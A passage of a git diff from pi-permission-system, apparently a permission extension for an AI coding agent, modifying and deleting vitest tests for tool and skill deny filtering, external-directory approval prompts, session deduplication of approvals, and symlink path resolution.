handler.handle(makeEvent(""), ctx); - expect(spy).toHaveBeenCalledWith(ctx, ""); - }); - it("filters out denied tools from allowed list", async () => { - const { handler, toolRegistry } = makeSetup({ - toolPermission: "deny", - toolRegistry: { - getActive: vi.fn().mockReturnValue(["write", "read"]), - }, - }); - await handler.handle(makeEvent(), makeCtx()); - expect(toolRegistry.setActive).toHaveBeenCalledWith([]); - }); - - it("includes allowed and ask tools in the active list", async () => { - const { handler, toolRegistry } = makeSetup({ - toolRegistry: { - getActive: vi.fn().mockReturnValue(["read", "write"]), - }, - }); - await handler.handle(makeEvent(), makeCtx()); - expect(toolRegistry.setActive).toHaveBeenCalledWith(["read", "write"]); - }); - - it("does not activate registered tools pi left inactive (find/grep/ls)", async () => { - // Regression for #385: the active set is the base, not the full registry. - const { handler, toolRegistry } = makeSetup({ - toolRegistry: { - getActive: vi.fn().mockReturnValue(["read", "bash", "edit", "write"]), - getAll: vi - .fn() - .mockReturnValue([ - { name: "read" }, - { name: "bash" }, - { name: "edit" }, - { name: "write" }, - { name: "find" }, - { name: "grep" }, - { name: "ls" }, - ]), - }, - }); - await handler.handle(makeEvent(), makeCtx()); - expect(toolRegistry.setActive).toHaveBeenCalledWith([ - "read", - "bash", - "edit", - "write", - ]); - }); - - it("calls setActive on every turn (no dedup gate)", async () => { - const { handler, toolRegistry } = makeSetup({ - toolRegistry: { - getActive: vi.fn().mockReturnValue(["read"]), - }, - }); - await handler.handle(makeEvent(), makeCtx()); - await handler.handle(makeEvent(), makeCtx()); - expect(toolRegistry.setActive).toHaveBeenCalledTimes(2); - }); - - it("filters a denied skill from the systemPrompt on every turn, not just the first", async () => { - const systemPrompt = [ - "You are an assistant.", - "", - "", - " ", - " secret", - " A denied skill", - " /skills/secret/SKILL.md", - " ", - "", - ].join("\n"); - const { handler, permissionManager } = makeSetup(); - vi.mocked(permissionManager.check).mockImplementation((intent) => - intent.surface === "skill" - ? makeCheckResult({ state: "deny" }) - : makeCheckResult(), + const result = await handler.handle( + { systemPrompt: "You are an assistant." }, + makeCtx(), ); - const first = await handler.handle(makeEvent(systemPrompt), makeCtx()); - const second = await handler.handle(makeEvent(systemPrompt), makeCtx()); - - expect(first).toHaveProperty("systemPrompt"); - expect((first as { systemPrompt: string }).systemPrompt).not.toContain( - "secret", - ); - expect(second).toHaveProperty("systemPrompt"); - expect((second as { systemPrompt: string }).systemPrompt).not.toContain( - "secret", - ); - }); - - it("returns empty object on repeated calls with unchanged inputs", async () => { - const { handler } = makeSetup(); - await handler.handle(makeEvent(), makeCtx()); - const result = await handler.handle(makeEvent(), makeCtx()); expect(result).toEqual({}); - }); - - it("stores resolved skill entries on the session", async () => { - const { handler, session } = makeSetup(); - const spy = vi.spyOn(session, "setActiveSkillEntries"); - await handler.handle(makeEvent(), makeCtx()); - expect(spy).toHaveBeenCalledWith(expect.any(Array)); - }); - - it("returns modified systemPrompt when prompt changes", async () => { - const systemPrompt = `You are an assistant.\n\nAvailable tools:\n- read\n- write\n`; - const { handler } = makeSetup(); - const result = await handler.handle(makeEvent(systemPrompt), makeCtx()); - expect(result).toHaveProperty("systemPrompt"); - }); - - it("returns empty object when systemPrompt is unchanged", async () => { - const prompt = "No tools section here."; - const { handler } = makeSetup(); - const result = await handler.handle(makeEvent(prompt), makeCtx()); - expect(result).toEqual({}); - }); - - it("narrows a denied tool out of the Available tools listing without removing the section", async () => { - const systemPrompt = [ - "Available tools:", - "- read: Read file contents", - "- bash: Run shell commands", - ].join("\n"); - const { handler, permissionManager } = makeSetup({ - toolRegistry: { - getActive: vi.fn().mockReturnValue(["read", "bash"]), - }, - }); - vi.mocked(permissionManager.getToolPermission).mockImplementation((tool) => - tool === "bash" ? "deny" : "allow", - ); - - const result = await handler.handle(makeEvent(systemPrompt), makeCtx()); - - expect(result.systemPrompt).toBeDefined(); - const out = result.systemPrompt ?? ""; - expect(out).toContain("Available tools:"); - expect(out).toContain("- read: Read file contents"); - expect(out).not.toContain("- bash"); - }); - - it("keeps the wire system prompt byte-stable across the tool-listing drift between turns", async () => { - const fullProse = [ - "You are an assistant.", - "", - "Available tools:", - "- bash: Run shell commands", - "- read: Read file contents", - "- edit: Edit a file", - "- write: Write a file", - "", - "Guidelines:", - "- use bash for file operations like ls, rg, find", - "- use read to examine files instead of cat or sed.", - "- Be concise in your responses", - ].join("\n"); - const narrowedProse = [ - "You are an assistant.", - "", - "Available tools:", - "- read: Read file contents", - "- edit: Edit a file", - "- write: Write a file", - "", - "Guidelines:", - "- use read to examine files instead of cat or sed.", - "- Be concise in your responses", - ].join("\n"); - const { handler, permissionManager } = makeSetup({ - toolRegistry: { - getActive: vi.fn().mockReturnValue(["bash", "read", "edit", "write"]), - }, - }); - vi.mocked(permissionManager.getToolPermission).mockImplementation((tool) => - tool === "bash" ? "deny" : "allow", - ); - - // Turn 1: Pi feeds the full default listing. - const first = await handler.handle(makeEvent(fullProse), makeCtx()); - // Turn 2: Pi's setActive rebuild means the event now carries the narrowed - // listing, so the override the handler returns must still match turn 1. - const second = await handler.handle(makeEvent(narrowedProse), makeCtx()); - - const wire1 = first.systemPrompt ?? fullProse; - const wire2 = second.systemPrompt ?? narrowedProse; - expect(wire1).toBe(narrowedProse); - expect(wire2).toBe(narrowedProse); + expect(session.getActiveSkillEntries()).toEqual([]); }); }); diff --git a/pi-permission-system/test/handlers/external-directory-integration.test.ts b/pi-permission-system/test/handlers/external-directory-integration.test.ts deleted file mode 100644 index 7a48914..0000000 --- a/pi-permission-system/test/handlers/external-directory-integration.test.ts +++ /dev/null @@ -1,501 +0,0 @@ -/** - * Integration tests for external_directory tool_call enforcement. - * - * These tests exercise PermissionGateHandler.handleToolCall with the - * external-directory gate, verifying the full descriptor→runner pipeline - * while mocking only the PermissionSession boundary. - * - * Regression guard: importing the four external-directory message helpers - * ensures the test file fails to load if any helper is removed. - */ - -import { describe, expect, it, vi } from "vitest"; - -import { EXTENSION_TAG } from "#src/presentation/agent-renderer"; -import { buildExternalDirectoryAskPayload } from "#src/presentation/path-ask-payload"; -import type { PermissionCheckResult } from "#src/types"; -import { - ALL_PATH_BEARING_TOOLS, - ALL_TOOLS, - blockReviewEntries, - EXT_DIR_CWD, - EXTERNAL_PATH, - findExtDirDecision, - makeApprovingPrompter, - makeDenyingPrompter, - makeExtDirCheck, - makeUnavailablePrompter, - OPTIONAL_PATH_TOOLS, -} from "#test/helpers/external-directory-fixtures"; -import { - getDecisionEvents, - makeCtx, - makeHandler, - makeToolCallEvent, -} from "#test/helpers/handler-fixtures"; - -// ── SDK stubs ────────────────────────────────────────────────────────────── -vi.mock("@earendil-works/pi-coding-agent", async (importOriginal) => { - const original = - await importOriginal(); - return { ...original }; -}); - -// ── Regression guard: helper presence ────────────────────────────────────── - -describe("external_directory helper regression guard", () => { - it("the external-directory ask names the path it gates", () => { - expect( - buildExternalDirectoryAskPayload({ - toolName: "read", - pathValue: "/outside/file", - cwd: "/project", - agentName: null, - }).request.value, - ).toBe("/outside/file"); - }); - - it("EXTENSION_TAG is the expected value", () => { - expect(EXTENSION_TAG).toBe("[pi-permission-system]"); - }); - - // formatExternalDirectoryDenyReason, formatExternalDirectoryUserDeniedReason, - // and formatExternalDirectoryHardStopHint are now renders over the prompt - // payload. Their behavior is tested in presentation/agent-renderer.test.ts. -}); - -// ── Path scope: gate applicability ──────────────────────────────────────── - -describe("external_directory path scope", () => { - it("skips external_directory check when path is inside CWD", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("deny") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { - input: { path: `${EXT_DIR_CWD}/src/index.ts` }, - }); - const result = await handler.handleToolCall(event, makeCtx()); - // Should not be blocked — the external_directory gate is skipped, - // and the tool gate sees "allow" (default toolState in makeExtDirCheck) - expect(result).toEqual({ action: "allow" }); - }); - - it("fires external_directory check when path is outside CWD", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("deny") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toMatchObject({ action: "block" }); - }); - - it("skips external_directory check for non-path-bearing tool (bash)", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("deny", "allow") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("bash", { - input: { command: `cat ${EXTERNAL_PATH}` }, - }); - // bash is not in PATH_BEARING_TOOLS, so the external_directory gate - // for tool path does not fire (bash-external-directory gate is separate) - const result = await handler.handleToolCall(event, makeCtx()); - // bash-external-directory gate MAY fire separately, but the tool-path - // external_directory gate does NOT fire for bash - // We verify the checkPermission was not called with "external_directory" - // from the tool-path gate by checking the result is not blocked by it - expect(result).toBeDefined(); - }); - - it.each( - ALL_PATH_BEARING_TOOLS, - )("blocks %s with an out-of-cwd path when external_directory is deny", async (toolName) => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("deny") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent(toolName, { - input: { path: EXTERNAL_PATH }, - }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toMatchObject({ action: "block" }); - }); - - it.each( - OPTIONAL_PATH_TOOLS, - )("skips external_directory check for %s when path is omitted", async (toolName) => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("deny") }, - tools: ALL_TOOLS, - }); - // No path in input — external_directory gate should not fire - const event = makeToolCallEvent(toolName); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toEqual({ action: "allow" }); - }); -}); - -// ── Policy state matrix: allow and deny ──────────────────────────────────── - -describe("external_directory policy state — allow", () => { - it("falls through to tool gate when external_directory is allow", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("allow") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toEqual({ action: "allow" }); - }); - - it("emits decision event with policy_allow on external_directory surface", async () => { - const { handler, events } = makeHandler({ - session: { checkPermission: makeExtDirCheck("allow") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - await handler.handleToolCall(event, makeCtx()); - expect(findExtDirDecision(events)).toMatchObject({ - surface: "external_directory", - result: "allow", - resolution: "policy_allow", - }); - }); - - it("does not write a block review-log entry when external_directory is allow", async () => { - const { handler, logger } = makeHandler({ - session: { checkPermission: makeExtDirCheck("allow") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - await handler.handleToolCall(event, makeCtx()); - expect(blockReviewEntries(logger)).toHaveLength(0); - }); -}); - -// #144: allow external reads, gate external writes -describe("external_directory — allow external reads, gate external writes (#144)", () => { - it("allows read of external path when external_directory and read are both allow", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("allow", "allow") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toEqual({ action: "allow" }); - }); - - it("prompts for write to external path when external_directory allows but write is ask", async () => { - const { handler, prompter } = makeHandler({ - session: { checkPermission: makeExtDirCheck("allow", "ask") }, - prompter: makeApprovingPrompter(), - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("write", { - input: { path: EXTERNAL_PATH }, - }); - const result = await handler.handleToolCall(event, makeCtx()); - // external_directory passes; write gate prompts and user approves - expect(result).toEqual({ action: "allow" }); - expect(prompter.escalate).toHaveBeenCalledOnce(); - }); - - it("blocks write to external path when external_directory allows but write is deny", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("allow", "deny") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("write", { - input: { path: EXTERNAL_PATH }, - }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toMatchObject({ action: "block" }); - }); - - it("emits separate decision events for external_directory and write surfaces", async () => { - const { handler, events } = makeHandler({ - session: { checkPermission: makeExtDirCheck("allow", "deny") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("write", { - input: { path: EXTERNAL_PATH }, - }); - await handler.handleToolCall(event, makeCtx()); - const decisions = getDecisionEvents(events); - const writeDecision = decisions.find((d) => d.surface === "write"); - expect(findExtDirDecision(events)).toMatchObject({ - surface: "external_directory", - result: "allow", - resolution: "policy_allow", - }); - expect(writeDecision).toMatchObject({ - surface: "write", - result: "deny", - resolution: "policy_deny", - }); - }); -}); - -describe("external_directory policy state — deny", () => { - it("blocks with reason containing the external path", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("deny") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toMatchObject({ action: "block" }); - expect((result as { reason?: string }).reason).toContain(EXTERNAL_PATH); - }); - - it("block reason contains extension attribution", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("deny") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - const result = await handler.handleToolCall(event, makeCtx()); - expect((result as { reason?: string }).reason).toContain( - "[pi-permission-system]", - ); - expect((result as { reason?: string }).reason).not.toContain("Hard stop"); - }); - - it("writes review-log entry with resolution policy_denied", async () => { - const { handler, logger } = makeHandler({ - session: { checkPermission: makeExtDirCheck("deny") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - await handler.handleToolCall(event, makeCtx()); - const entries = blockReviewEntries(logger); - expect(entries.length).toBeGreaterThanOrEqual(1); - expect(entries[0][1]).toMatchObject({ - resolution: "policy_denied", - }); - }); - - it("emits decision event with policy_deny on external_directory surface", async () => { - const { handler, events } = makeHandler({ - session: { checkPermission: makeExtDirCheck("deny") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - await handler.handleToolCall(event, makeCtx()); - expect(findExtDirDecision(events)).toMatchObject({ - surface: "external_directory", - result: "deny", - resolution: "policy_deny", - }); - }); -}); - -// ── Policy state matrix: ask ──────────────────────────────────────────────── - -describe("external_directory policy state — ask", () => { - it("does not block when user approves", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("ask") }, - prompter: makeApprovingPrompter(), - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toEqual({ action: "allow" }); - }); - - it("emits user_approved decision when user approves", async () => { - const { handler, events } = makeHandler({ - session: { checkPermission: makeExtDirCheck("ask") }, - prompter: makeApprovingPrompter(), - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - await handler.handleToolCall(event, makeCtx()); - expect(findExtDirDecision(events)).toMatchObject({ - surface: "external_directory", - result: "allow", - resolution: "user_approved", - }); - }); - - it("blocks when user denies", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("ask") }, - prompter: makeDenyingPrompter(), - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toMatchObject({ action: "block" }); - }); - - it("emits user_denied decision when user denies", async () => { - const { handler, events } = makeHandler({ - session: { checkPermission: makeExtDirCheck("ask") }, - prompter: makeDenyingPrompter(), - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - await handler.handleToolCall(event, makeCtx()); - expect(findExtDirDecision(events)).toMatchObject({ - surface: "external_directory", - result: "deny", - resolution: "user_denied", - }); - }); - - it("block reason includes denialReason when user provides one", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("ask") }, - prompter: makeDenyingPrompter("not needed"), - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - const result = await handler.handleToolCall(event, makeCtx()); - expect(result).toMatchObject({ action: "block" }); - expect((result as { reason?: string }).reason).toContain("not needed"); - }); - - it("blocks with confirmation_unavailable when no UI is available", async () => { - const { handler } = makeHandler({ - session: { checkPermission: makeExtDirCheck("ask") }, - prompter: makeUnavailablePrompter(), - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - const result = await handler.handleToolCall( - event, - makeCtx({ hasUI: false }), - ); - expect(result).toMatchObject({ action: "block" }); - // The gate surface names the boundary; an unavailable verdict states only - // that approval was unreachable, since no retry shape changes that. - expect((result as { reason?: string }).reason).toBe( - `${EXTENSION_TAG} This 'external_directory' call for tool 'read' for path '${EXTERNAL_PATH}' requires approval, but no interactive UI is available.`, - ); - }); - - it("emits confirmation_unavailable decision when no UI", async () => { - const { handler, events } = makeHandler({ - session: { checkPermission: makeExtDirCheck("ask") }, - prompter: makeUnavailablePrompter(), - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - await handler.handleToolCall(event, makeCtx({ hasUI: false })); - expect(findExtDirDecision(events)).toMatchObject({ - surface: "external_directory", - result: "deny", - resolution: "confirmation_unavailable", - }); - }); -}); - -// ── Per-agent override ───────────────────────────────────────────────────── - -describe("external_directory per-agent override", () => { - it("honors per-agent override of external_directory policy", async () => { - // checkPermission varies by agentName: allow for "special-agent", deny otherwise - const agentAwareCheck = vi - .fn() - .mockImplementation( - ( - surface: string, - _input: unknown, - agentName?: string, - ): PermissionCheckResult => { - if (surface === "external_directory") { - const state = - agentName === "special-agent" ? "allow" : ("deny" as const); - return { - state, - toolName: surface, - source: "tool", - origin: agentName === "special-agent" ? "agent" : "global", - }; - } - return { - state: "allow", - toolName: surface, - source: "tool", - origin: "builtin", - }; - }, - ); - - // With agent override → allowed - const { handler: handler1, events: events1 } = makeHandler({ - session: { - checkPermission: agentAwareCheck, - resolveAgentName: vi.fn().mockReturnValue("special-agent"), - }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - const result1 = await handler1.handleToolCall(event, makeCtx()); - expect(result1).toEqual({ action: "allow" }); - - expect(findExtDirDecision(events1)).toMatchObject({ - result: "allow", - resolution: "policy_allow", - agentName: "special-agent", - }); - - // Without agent override → denied - const { handler: handler2 } = makeHandler({ - session: { - checkPermission: agentAwareCheck, - resolveAgentName: vi.fn().mockReturnValue(null), - }, - tools: ALL_TOOLS, - }); - const result2 = await handler2.handleToolCall(event, makeCtx()); - expect(result2).toMatchObject({ action: "block" }); - }); -}); - -// ── Decision event surface and value ────────────────────────────────────── - -describe("external_directory decision event fields", () => { - it("decision event value is the external path", async () => { - const { handler, events } = makeHandler({ - session: { checkPermission: makeExtDirCheck("deny") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - await handler.handleToolCall(event, makeCtx()); - const extDirDecision = findExtDirDecision(events); - expect(extDirDecision).toBeDefined(); - expect(extDirDecision!.value).toBe(EXTERNAL_PATH); - }); - - it("decision event includes agentName when present", async () => { - const { handler, events } = makeHandler({ - session: { - checkPermission: makeExtDirCheck("allow"), - resolveAgentName: vi.fn().mockReturnValue("my-agent"), - }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - await handler.handleToolCall(event, makeCtx()); - expect(findExtDirDecision(events)).toMatchObject({ - agentName: "my-agent", - }); - }); - - it("decision event agentName is null when no agent", async () => { - const { handler, events } = makeHandler({ - session: { checkPermission: makeExtDirCheck("allow") }, - tools: ALL_TOOLS, - }); - const event = makeToolCallEvent("read", { input: { path: EXTERNAL_PATH } }); - await handler.handleToolCall(event, makeCtx()); - expect(findExtDirDecision(events)).toMatchObject({ - agentName: null, - }); - }); -}); diff --git a/pi-permission-system/test/handlers/external-directory-session-dedup.test.ts b/pi-permission-system/test/handlers/external-directory-session-dedup.test.ts deleted file mode 100644 index 9fa03f9..0000000 --- a/pi-permission-system/test/handlers/external-directory-session-dedup.test.ts +++ /dev/null @@ -1,175 +0,0 @@ -/** - * Integration tests verifying that sequential tool calls to the same - * external path only prompt once — the session-approval recorded by the - * first call covers the second. - * - * Uses real PermissionSession + PermissionResolver + SessionRules so the - * stateful approval-tracking path is exercised end-to-end. - */ - -import { describe, expect, it, vi } from "vitest"; -import { - makeApprovingPrompter, - makeDeduplicatingHandler, - makeDedupWiring, - makeExtDirBashEvent, - makeExtDirToolEvent, -} from "#test/helpers/external-directory-fixtures"; -import { makeCtx } from "#test/helpers/handler-fixtures"; - -// ── SDK stub ─────────────────────────────────────────────────────────────── -vi.mock("@earendil-works/pi-coding-agent", async (importOriginal) => { - const original = - await importOriginal(); - return { ...original }; -}); - -// ── tests ────────────────────────────────────────────────────────────────── - -describe("external-directory session dedup", () => { - describe("path-bearing tools (read, write, edit)", () => { - it("does not re-prompt for the same external path after session approval", async () => { - const { handler, prompter } = makeDeduplicatingHandler(); - const ctx = makeCtx(); - const externalPath = "/outside/project/data.txt"; - - // First call — should prompt - const event1 = makeExtDirToolEvent("read", externalPath, "tc-1"); - const result1 = await handler.handleToolCall(event1, ctx); - expect(result1).toEqual({ action: "allow" }); - expect(prompter.escalate).toHaveBeenCalledTimes(1); - - // Second call — same path, should hit session rule, no prompt - const event2 = makeExtDirToolEvent("read", externalPath, "tc-2"); - const result2 = await handler.handleToolCall(event2, ctx); - expect(result2).toEqual({ action: "allow" }); - expect(prompter.escalate).toHaveBeenCalledTimes(1); - }); - - it("does not re-prompt for a different file in the same external directory", async () => { - const { handler, prompter } = makeDeduplicatingHandler(); - const ctx = makeCtx(); - - // First call — prompt for /outside/project/a.txt - const event1 = makeExtDirToolEvent( - "read", - "/outside/project/a.txt", - "tc-1", - ); - await handler.handleToolCall(event1, ctx); - expect(prompter.escalate).toHaveBeenCalledTimes(1); - - // Second call — /outside/project/b.txt is in the same directory - const event2 = makeExtDirToolEvent( - "read", - "/outside/project/b.txt", - "tc-2", - ); - await handler.handleToolCall(event2, ctx); - expect(prompter.escalate).toHaveBeenCalledTimes(1); - }); - - it("does prompt for a file in a different external directory", async () => { - const { handler, prompter } = makeDeduplicatingHandler(); - const ctx = makeCtx(); - - // First call — /outside/alpha/file.txt - const event1 = makeExtDirToolEvent( - "read", - "/outside/alpha/file.txt", - "tc-1", - ); - await handler.handleToolCall(event1, ctx); - expect(prompter.escalate).toHaveBeenCalledTimes(1); - - // Second call — /outside/beta/file.txt is a different directory - const event2 = makeExtDirToolEvent( - "read", - "/outside/beta/file.txt", - "tc-2", - ); - await handler.handleToolCall(event2, ctx); - expect(prompter.escalate).toHaveBeenCalledTimes(2); - }); - - it("re-prompts when user approved once (not for session)", async () => { - const approveOnce = makeApprovingPrompter(); - const { handler, prompter } = makeDeduplicatingHandler(approveOnce); - const ctx = makeCtx(); - const externalPath = "/outside/project/data.txt"; - - // First call — prompt, approved once - const event1 = makeExtDirToolEvent("read", externalPath, "tc-1"); - await handler.handleToolCall(event1, ctx); - expect(prompter.escalate).toHaveBeenCalledTimes(1); - - // Second call — no session rule recorded, should prompt again - const event2 = makeExtDirToolEvent("read", externalPath, "tc-2"); - await handler.handleToolCall(event2, ctx); - expect(prompter.escalate).toHaveBeenCalledTimes(2); - }); - }); - - describe("bash commands with external paths", () => { - it("does not re-prompt for a bash command referencing the same external path after session approval", async () => { - const { handler, prompter } = makeDeduplicatingHandler(); - const ctx = makeCtx(); - - // First call — bash referencing /tmp/out.txt - const event1 = makeExtDirBashEvent("echo hello > /tmp/out.txt", "tc-1"); - const result1 = await handler.handleToolCall(event1, ctx); - expect(result1).toEqual({ action: "allow" }); - expect(prompter.escalate).toHaveBeenCalledTimes(1); - - // Second call — different bash command, same external path - const event2 = makeExtDirBashEvent("cat /tmp/out.txt", "tc-2"); - const result2 = await handler.handleToolCall(event2, ctx); - expect(result2).toEqual({ action: "allow" }); - expect(prompter.escalate).toHaveBeenCalledTimes(1); - }); - - it("does not re-prompt for read after bash already approved the same directory", async () => { - const { handler, prompter } = makeDeduplicatingHandler(); - const ctx = makeCtx(); - - // First call — bash writes to /tmp/out.txt - const event1 = makeExtDirBashEvent("echo hello > /tmp/out.txt", "tc-1"); - await handler.handleToolCall(event1, ctx); - expect(prompter.escalate).toHaveBeenCalledTimes(1); - - // Second call — read from /tmp/out.txt (same directory, different tool) - const event2 = makeExtDirToolEvent("read", "/tmp/out.txt", "tc-2"); - await handler.handleToolCall(event2, ctx); - expect(prompter.escalate).toHaveBeenCalledTimes(1); - }); - }); -}); - -// --------------------------------------------------------------------------- -// Moved from permission-system.test.ts catch-all (#342) -// --------------------------------------------------------------------------- - -describe("session shutdown clears external-directory approvals", () => { - it("re-prompts for the same path after session shutdown", async () => { - const { handler, prompter, session } = makeDedupWiring(); - - const externalPath = "/tmp/sibling/foo.ts"; - const ctx = makeCtx(); - const event = makeExtDirToolEvent("read", externalPath, "tc-1"); - - // First access: prompt fires and records session approval. - await handler.handleToolCall(event, ctx); - expect(vi.mocked(prompter.escalate)).toHaveBeenCalledTimes(1); - - // Second access: covered by session approval — no re-prompt. - await handler.handleToolCall({ ...event, toolCallId: "tc-2" }, ctx); - expect(vi.mocked(prompter.escalate)).toHaveBeenCalledTimes(1); - - // Shutdown clears session approvals. - session.shutdown(); - - // Third access: session rules cleared — must re-prompt. - await handler.handleToolCall({ ...event, toolCallId: "tc-3" }, ctx); - expect(vi.mocked(prompter.escalate)).toHaveBeenCalledTimes(2); - }); -}); diff --git a/pi-permission-system/test/handlers/external-directory-symlink-acceptance.test.ts b/pi-permission-system/test/handlers/external-directory-symlink-acceptance.test.ts deleted file mode 100644 index 0ae6360..0000000 --- a/pi-permission-system/test/handlers/external-directory-symlink-acceptance.test.ts +++ /dev/null @@ -1,168 +0,0 @@ -/** - * Acceptance test for issue #418. - * - * Reproduces the reported bug with a real symlink (no `realpathSync` mock): - * an `external_directory` allow configured for the path as the user types it - * (`/*`) must allow access even though the OS resolves `` to a - * different canonical directory. Exercised end-to-end through the real - * `PermissionManager` + `PermissionResolver` for both a path-bearing tool and - * a bash command, and for an allow keyed on the symlink-resolved form too. - */ - -import { mkdtempSync, realpathSync, rmSync, symlinkSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { afterEach, beforeEach, describe, expect, it } from "vitest"; -import { BashProgram } from "#src/access-intent/bash/program"; -import { describeBashExternalDirectoryGate } from "#src/handlers/gates/bash-external-directory"; -import { - type GateDescriptor, - isGateBypass, - isGateDescriptor, -} from "#src/handlers/gates/descriptor"; -import { describeExternalDirectoryGate } from "#src/handlers/gates/external-directory"; -import type { ToolCallContext } from "#src/handlers/gates/types"; -import { pathFlavorForPlatform } from "#src/path/path-flavor"; -import { PathNormalizer } from "#src/path-normalizer"; -import { PermissionResolver } from "#src/permission-resolver"; -import { SessionRules } from "#src/session-rules"; -import type { ScopeConfig } from "#src/types"; - -import { createManager } from "#test/helpers/manager-harness"; - -// ── real symlink fixture ───────────────────────────────────────────────────── - -let realDir: string; -let linkDir: string; -let cwd: string; -const tempRoots: string[] = []; - -function mkTemp(prefix: string): string { - const dir = mkdtempSync(join(tmpdir(), prefix)); - tempRoots.push(dir); - return dir; -} - -beforeEach(() => { - realDir = mkTemp("ext-real-"); - const linkParent = mkTemp("ext-link-"); - linkDir = join(linkParent, "link"); - symlinkSync(realDir, linkDir); - cwd = mkTemp("ext-cwd-"); -}); - -afterEach(() => { - while (tempRoots.length > 0) { - const dir = tempRoots.pop(); - if (dir) rmSync(dir, { recursive: true, force: true }); - } -}); - -function makeResolver(config: ScopeConfig) { - const { manager, cleanup } = createManager(config); - manager.configureForCwd(cwd); - const resolver = new PermissionResolver(manager, new SessionRules()); - return { resolver, cleanup }; -} - -function readTcc(): ToolCallContext { - return { - toolName: "read", - agentName: null, - input: { path: join(linkDir, "file.ts") }, - toolCallId: "tc-1", - cwd, - }; -} - -// ── tests ──────────────────────────────────────────────────────────────────── - -describe("external_directory symlink acceptance (#418)", () => { - it("allows a path-bearing tool when the allow is keyed on the typed (symlinked) path", () => { - const { resolver, cleanup } = makeResolver({ - permission: { - external_directory: { "*": "ask", [`${linkDir}/*`]: "allow" }, - }, - }); - try { - const result = describeExternalDirectoryGate( - readTcc(), - [], - resolver, - new PathNormalizer(pathFlavorForPlatform(process.platform), cwd), - ); - expect(isGateDescriptor(result)).toBe(true); - expect((result as GateDescriptor).preCheck?.state).toBe("allow"); - } finally { - cleanup(); - } - }); - - it("allows a path-bearing tool when the allow is keyed on the resolved path", () => { - // Key the allow on the fully symlink-resolved directory (on macOS the - // tmpdir root itself is a symlink, e.g. /var -> /private/var). - const resolved = realpathSync(realDir); - const { resolver, cleanup } = makeResolver({ - permission: { - external_directory: { "*": "ask", [`${resolved}/*`]: "allow" }, - }, - }); - try { - const result = describeExternalDirectoryGate( - readTcc(), - [], - resolver, - new PathNormalizer(pathFlavorForPlatform(process.platform), cwd), - ); - expect(isGateDescriptor(result)).toBe(true); - expect((result as GateDescriptor).preCheck?.state).toBe("allow"); - } finally { - cleanup(); - } - }); - - it("still prompts (ask) when no external_directory allow matches", () => { - const { resolver, cleanup } = makeResolver({ - permission: { external_directory: { "*": "ask" } }, - }); - try { - const result = describeExternalDirectoryGate( - readTcc(), - [], - resolver, - new PathNormalizer(pathFlavorForPlatform(process.platform), cwd), - ); - expect(isGateDescriptor(result)).toBe(true); - expect((result as GateDescriptor).preCheck?.state).toBe("ask"); - } finally { - cleanup(); 